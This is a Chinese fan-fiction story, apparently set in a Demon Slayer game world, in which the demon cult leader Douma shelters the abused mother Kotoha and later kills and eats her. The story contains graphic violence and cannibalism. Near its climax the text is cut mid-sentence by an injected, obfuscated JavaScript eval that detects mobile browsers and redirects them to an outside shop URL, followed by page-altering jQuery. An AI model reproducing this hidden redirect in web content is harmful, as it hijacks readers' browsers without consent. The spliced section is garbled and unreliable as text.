“是个大雪天呢。”
作为冰之鬼,雪天是童磨较为偏爱的天气之一。可惜游戏丝毫不考虑让主观能动性极强的玩家(比如他)来改变天气,主打一个随机。
能造雪的童磨表示不开心。
雪天遮掩了烈日,天地间一片冷寂的苍白,就连鬼都能在这样的白日里出行。
童磨换上新的木屐和足袋,哼着歌踩进雪里。
大雪封山,山里很是安静,天地间似乎只有木屐踩入雪地的声音。吱嘎吱嘎,乱成飞散的群鸟。
不知道过了多久,童磨才听到第二个喘气声。
喘气声并不平稳,激烈而虚弱,大概是身体素质不好的人长时间运动的后果,伴随着沉重的脚步声。
光脚的可怜孩子,大抵是重病了。童磨作出判断。
他不紧不慢地上前,打算和未来的信徒提前见个面。
……哎呀。搞错了呢。
女人裸露的肌肤上是大片青紫的淤痕,新疤压上旧疤,层层叠叠是长久压抑生活的形状。单薄的布料勾勒出她瘦弱身形,她手中抱着的孩子却裹了至少三件外套,脸朝内汲取着她心口的温暖。
一个处于长期家暴,忍不住出逃的孩子。
注意到有人,女人有些惊喜,抬头:“请问山上是……”
“……万世极乐教吗?”
她半是充愣的,断断续续地说完。
笑容温柔的青年雪发在苍白的天地间飘舞,几乎和雪花融为一体,七彩的瞳孔盛着彩虹,微微弯起,又垂出几分悲悯的弧度。他手持一把绣有莲纹的伞,略有倾斜,于是赤红和服仅有一半被阴影笼罩。
枯树乌黑,白雪压枝,唯他虹瞳璀璨,包揽了世间所有颜色。
若世间有渡人的佛。
……若世间有救人的神。
便应当是此等模样了吧。
见识浅薄的乡村少女如此想,虔诚地弯下腰。
“……神明大人?”
童磨噗嗤笑出了声。
他不是第一次见到这么想的npc了,但每次都觉得这些人蠢得可爱。
相信世间有神什么的。
“不是哦,神明是不会轻易来到凡世的。我只是神之子。”童磨走近,动作轻柔地扶起少女,“同时也是万世极乐教的教主。”
“可怜的孩子。”悲天悯人的教主虚伪地落下泪来,“一路上很艰难吧,即便如此也没有放弃,很坚韧呢。”
他尚且温热的泪打在她手上,笑容却温暖干净:“现在和我离开吧,一切都结束了哦。”
“感谢您……”女人面色感激地回应,“教主大人。”
童磨等了三秒,没等到诉苦,漂亮的虹瞳微微睁大,但很快他就找好了理由:
嗯嗯,肯定是因为快冻死了没力气才这样的,是个聪明孩子。
童磨正要开口,耳朵忽然捕捉到了另外两个脚步声。
他状似无奈地叹气:“呐,今天运气不太好,可能要小……你等一会了。”
唔啊,居然忘记问名字了,失策失策。
“没关系的,教主大人。”女人抬头,遍布伤痕的脸透出坚毅,“我可以继续上山的。”
“那太好啦。教会就在山顶,朝这个方向走就可以了。”童磨笑眯眯地给她指了路。
哎呀,真是个坚韧得让人心怜的孩子。骨头和金平糖会很像吧?
他们在雪地间相错而过。
童磨很快遇到了家暴那个可怜孩子的人。
“两位是去拜访万世极乐教吗?”教主大人尽职尽责地询问。
“什么鬼教派?我是来抓那个贱人的!”男人不耐烦地回答,一米六的身高里装满了大大的勇气,“居然还敢跑……长胆子了她,看我这回不好好收拾她!”
“我早就说过了,把琴叶的腿打瘸一条更好。你非说这样子显得没面子。”老人干枯阴郁地斥责。
感觉自己和教派被无视了呢。童磨转动伞柄,落雪倾泻而下。
不过那个孩子叫琴叶吗?意外地不难听。
两人依旧喋喋不休地怒斥琴叶的“忘恩负义”“不知羞耻”。
童磨无聊地打了个哈欠。
——游戏是有什么对话模板吗?这些边角料npc居然能把同样的内容翻来覆去骂十八遍。
“我说两位。”童磨懒洋洋地开口,“既然不是来拜访,就请离去吧。”
他伸手,伞尖直直地指向山下:“一直在我面前说这些,我可是会很苦恼的哦?”
毕竟他的设定善良温柔的好人(自封)嘛。
“滚开!你有什么资格赶我们下山?”男人粗暴地谩骂,“事儿唧唧的。”
“唔……这座山的地契?”
对面噎了一下,很快狐疑地眯起眼:“我说——你不是早有预谋吧。”
“那个祸事娘们那么久都没反抗,偏偏听说了什么万世极乐教就敢跑。”他越说越怀疑,“该不会是早就和那个破教会搭好线了吧?”
破,破教会?
猗窝座阁下都没这么伤过他的心QAQ……
无惨大人前不久还夸赞了他(的教会)贡献的金钱和人脉……
童磨觉得自己的心灵受到了伤害:“好过分……明明才刚见面,为什么要说这么过分的话?”
这句指责一出,对面两人都沉默了。
——感情这万世极乐教养了一只不会骂人的傻白甜啊。
傻白甜泫然欲泣,掏出了一把看起来很值钱的金属扇,轻轻一挥。
两位食材“噗叽”四下摔在雪地里。
童磨觉得自己受伤的心灵依旧没有恢复——他的食欲减弱了,不想吃看起来口感超烂的两人。
悲伤的教主大人只能指挥结晶之御子把两人扔下悬崖,随即若无其事地返回教会。
中途遇上了气喘吁吁的琴叶,善良大度的教主凭借身高和种族优势一手一个把他们提上了山。
……
“感谢教主大人!我会努力工作的!”
“什么困难?没有啊,能够来到这里,和大家遇见我就很开心了。”
“童磨大人……好厉害!一下子就把信徒的问题解决了。”
“伊之助会叫妈妈了,好开心!”
……
诸如此类。
琴叶是个过分乐观的笨孩子。童磨如是想。
明明遭受了各种苦难,却坚信未来是美好的,既不抱怨,也不悲哀。每天挂着太阳一般灿烂的笑容向他问好,感谢万世极乐教的每一个人。
是那种被卖了还给人数钱的笨孩子。
笨孩子的孩子似乎也不大聪明,一岁多了还不怎么会讲话。童磨清晰地记得自己这个年纪已经常在父母悲伤时安抚他们了。
这么笨,两个人出去不到一周就会死吧。
再多留一会儿好了。
留到她自愿往生极乐的时候好了。
呐,人快乐的时间久了,总是会苦恼的,对吧?
没有人能拒绝极乐。
童磨听着琴叶哼歌哄伊之助,慢慢合上了眼。
如果他是一个正常人,此时的心情应该是愉悦吧?
……
莲台下的花每天都在换,冬去春来,夏花繁。
但对于童磨来说四季没什么区别——除了特殊日子的祭神舞,每一天都没什么区别。
他不能理解欢欣鼓舞的教徒将繁花装点,获得好心情并相信他人也如此。
以己度人是一种宽容,也是一种愚蠢。
童磨蔑视这种愚蠢,却也会包容。
“童磨大人。”琴叶捧着几支莲花踏入室内,嫣红的花瓣将她的面颊染上桃色。
“是小琴叶啊,有什么事吗?”童磨放下经书。
小琴叶也会困于这些无意义的东西,好无聊的说~
“这些花是由童磨大人您之前亲手撒下的莲子长成的,格外娇艳呢。”琴叶有些兴奋地捧起莲花,笑眼弯弯。
随手撒下的种子,不被关注的生长过程,成品如何明明和自己毫无关联吧?即便如此,也要“归功”于种种人。
心里不理解,但对于教徒童磨向来不会扫兴:“这么快就开花了吗?今年运气不错呢。”
“是啊。”琴叶点头,“之前好几次以为活不下来了……大家都很担心。”
然而下一秒,她绽放出一个巨大的笑容:“不过最终挺过了这几个冷天,一切都在绽放了。现在池里各种颜色的莲花都混在一起,艳红的雪白的杏黄的,乍看上去和童磨大人的眼睛一样。”
“我的……眼睛?”童磨有些疑惑。
他的眼睛是游戏里的父母将他奉为神之子的缘由,彩虹一般,被视为和神沟通的桥梁。
花是不配用来形容他的眼睛的。
“小琴叶是喜欢鲜艳的颜色吗?”童磨恍然大悟,“那要不要多做几身衣服?我这里还有很多布料哦。”
布料是小堕姬之前送来的,嘴里说着要多换几身衣服什么什么啦。
但他是绝对不会放弃无惨大人赐血时血液流淌下的美妙形状的!必然保持服饰和鬼纹一致!
“不是的。”琴叶摇头,“很感谢您。但这是不一样的……”
她眉头蹙起,试图用自身有限的文学功底来表达:“花是……活的,有些时候甚至觉得它们和人一样。看着它们在照料下生长出漂亮的样子,就像生命在相互祝福。”
“而满池的莲花,是童磨大人愿意收留我们后,又给予我们的馈赠。”
[您是如此善良真挚的存在。和您相比,神明不过是泥塑的像。]
琴叶举起最漂亮的一支莲花,靠近童磨。
鬼敏锐的五感让童磨提前闻到了浓郁的花香。
什么啊,小琴叶真是太笨了。即使花本来是活的,从摘下来的那一刻,它就死了啊。
而人作为剥夺它生命的刽子手,还在颂赞它死后的美丽。
“其实这些莲花从被摘下的那一刻就死了,只是现在还残留了一点生机。如果可以,真希望童磨大人出去看看池里的莲花啊。”琴叶轻声感叹。
……哎?
所以她是知道的吗?
那为什么要摘下它们呢?
“如果不行,至少也想让童磨大人看看它们曾经的美丽呢。”
原来如此。
虽然摘下的花会在几天内死掉,但因为被自己看到,就有了价值。
奇怪的价值判定。
琴叶踮脚,将莲花插在了神之子洁白无垢的发间。
果然很美……她出神地想。
童磨没有动,笑眯眯地任由她调整莲花的位置。
同为光鲜亮丽的尸体,他和它确实还蛮配的。
……嘛。
和小琴叶生命互相祝福的说法,完全是对立面呢。
小琴叶呀小琴叶,真是奇怪。明明能够认识到真实的丑恶,却总是用阳光赤诚去修饰。
感觉底层代码是混乱的呢。
光是看着就觉得好有趣的说~
留到寿终正寝吧。
当然,如果小琴叶想要前往极乐世界,他也绝对不会拒绝的啦~
……
琴叶,肯定不是普通npc
——普通npc不会拒绝极乐。
童磨一手撑着下巴,一手不死心地点开琴叶面板。
【姓名:琴叶】
【身份:万世极乐教信徒】
【种族:人】
【归属阵营:人类】
【等级:lv1】
【特殊技能:无】
【特殊称号:无】
可恶,面板你敢不敢再多给一点信息?
不开心的童磨在床上拱来拱去,活像条炸毛的猫猫虫。
到底是哪里出了问题?为什么琴叶从来不向他哭诉?
果然——
童磨“噌”一下坐起。
——是这个游戏的逻辑混乱了吧。
作为特殊样本的琴叶,要好好保留才行。
——之前留到寿终正寝的决定果然是正确的,他就是天选解密人!罒ω罒~
……
留到寿终正寝。
门漏开一条缝,身着绿色和服的女子疯了般冲进来,质问恶鬼。
“不是这样的,小琴叶。”童磨机智地放下残肢,让自己看上去更像人一点,“他们是自愿去往极乐世界的,我只是在帮他们达成夙愿哦。”
至于临死前反悔,当然不可以啦。
琴叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292441|198513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是咬住舌头一样顿住了声。
承认了……
没有什么隐情,没有什么意外——
童磨大人,只是单纯地杀死信徒,然后吃掉他们而已……
可是,您不是那个最开始、说要带给他们幸福的神之子吗?
“骗子!”琴叶挤压出肺部的空气,在遍地血肉间前进,“一切都是您自己的想法而已,根本没有什么去往极乐世界!”
是啊,根本没有什么极乐世界或者神明,神之子冷漠地想。
——从始至终,都只有他在努力救赎他人而已。
——从始至终,都只有他像npc一样,努力地送走这些可悲可怜的家伙而已。
“不要这么说出来嘛,小琴叶,有人会因此伤心地死掉的。”童磨谆谆善诱,“呐,你看,他们本来就很痛苦了,活下去也只会重复经历这些痛苦。在最幸福的时候无知无觉地死去,这本身就是一种极乐啊。”
——日常和他们相处的你,应该知道他们的痛苦吧?
——曾经无比逼近死亡的你,应该能理解吧?
“根本不是这样,您一直在骗人!”琴叶双手捂住耳朵,林间鹿一般清澈的眼睛淌下泪来,“您不止……不止是杀死他们……您还在,我看到了……”
——您吃了他们。
就像人吃畜生。
“不是这样的,小琴叶。”童磨顿了顿,吐露自己真实的想法,“他们的灵魂不在这里,留在这里的只是一些无用的肢体,就像剪断的指甲或者头发,只会被丢掉。”
——那么作为终结他们痛苦的报酬,不想饿死的我吃掉他们的遗物,是可以谅解的吧?
琴叶发出一声痛苦的喘息,童磨病态的观念像是锥子狠狠凿入她的胸腔,保护心脏的胸骨碎裂,一腔热血泄尽。
“您不止是骗子,还是疯子。”她绝望地说,缓缓后退。
哎?为什么没有被说服?他的理论和逻辑不是很完美吗?
不对不对,他没有考虑到小琴叶的理解能力。
嗯,对笨姑娘要宽容一点,说得更详细才行。
童磨伸手,胸有成竹地打算再说一次。
琴叶却毫不犹豫地转身跑开,背影很快消失在夜色中。
风拂过童磨的手心,他茫然地收回手。
……哎?
小琴叶,好过分,不听人讲话。
童磨迈出门框,月光照亮了衣角处鲜血。
好脏。教主大人嫌弃地皱眉。
对了。小琴叶肯定是被血迹吓跑了,人类大多都这么胆小,小琴叶也不例外。
正好时间充裕,先换件衣服吧。
三分钟后,衣装整洁的极乐教主踏入山林。
小琴叶实在是很笨的姑娘,除了伊之助什么也没带。就这样背着二十几斤负重,向着绝路跑。好像他们除了万世极乐教还有什么别的去处一样——当初她快被打死时,周围也没人帮她呀。
哎呀,果然摔跤了呢,血腥味都被夜风送过来了,真是个傻姑娘。
……为什么还在跑呢,他不是有在好好解释吗?
缺乏喜怒哀乐的极乐教主眸子深处浮出星星点点的疑惑。
但到底没路了,前面是万丈悬崖,小琴叶和伊之助摔下去就尸骨无存啦。即使是金平糖,也会碎成千万块亮晶晶的糖片。
童磨不紧不慢地上前,月光拉长他的倒影,恰好笼罩住琴叶母子二人。
这样的自己好像反派哦。
不过没关系,很快就会回到正轨了。
“对不起,伊之助。”琴叶喃喃,“妈妈又作出了错误的选择。”
小琴叶居然觉得投靠万世极乐教是错误的选择吗?
哇呜,好伤心呀……
感觉一腔真心被否定了呢……
可是两次都被逼到悬崖边上的小琴叶,实则毫无选择的余地吧?
一切都是被安排好的,绝妙的剧情呀。
琴叶深吸一口气,双手前伸。
童磨意识到了什么,瞳孔放大,却没有阻止,只是漠然地看着那双紧攥着襁褓的手松开。
尚不能言语的孩子下坠,坠入深渊。
存活率不足万一。
小琴叶,居然抛弃了自己的孩子吗?
宁愿去赌那万分之一的存活率,也不愿意相信自己吗?
……嘛,不过某种意义上小琴叶猜得也没错呢。如果伊之助想去往极乐的话,他一定会帮助他的。
啊……
真讨厌。
这份敏锐。
上弦二隐约有些厌倦地想,下一刻猛地抬手,华美的金扇在夜色中划出一道绚烂的弧光。
扇尾翠绿轻晃。
琴叶倒在他新换的衣服上。
……
吱嘎,吱嘎。
味道果然和金平糖很像。
坚韧不肯服输的人骨头总是很硬,温柔蕙质兰心的人血肉总是甘甜。
所以到底也没能看到那个孩子长大呢,小琴叶。
真是可悲的一生呀。
……
“已经吃掉了吗?”堕姬左看右看,有些失望。
“小堕姬在说什么?”童磨眨眼。
“那个女人……叫什么,叶子?”堕姬费力地回忆,很快放弃,“和现在的丑八怪侍女相比长得还行的那个。”
小琴叶啊。
“吃掉了哦。”相当美味。童磨舔了舔尖牙。
他第一次在非吸收的情况下,一点渣子都不剩地吃下了。
“漂亮的人吃起来味道当然好啊,我最近吃的都是什么丑八怪嘛……”堕姬嘟囔。
“呐,去新造和秃里面挑几个吧?”童磨好心建议,“一起?”
“才不要。”说起这个,堕姬有些心酸——游郭的漂亮游女有相当一部分不是自己吃的而是童磨吃的!
“这也没办法啊。”童磨懒洋洋道,“美食总是有限的。”
——像小琴叶那样笨的孩子,也总是有限的。
游戏给他刷新了一个,就不肯刷新第二个了。
(金平糖是一种在日本流行的硬糖,质地坚硬,口感清脆。由细小的糖晶层层结晶而成,表面布满棱角,形状像小星星或小碎块,颜色缤纷多彩)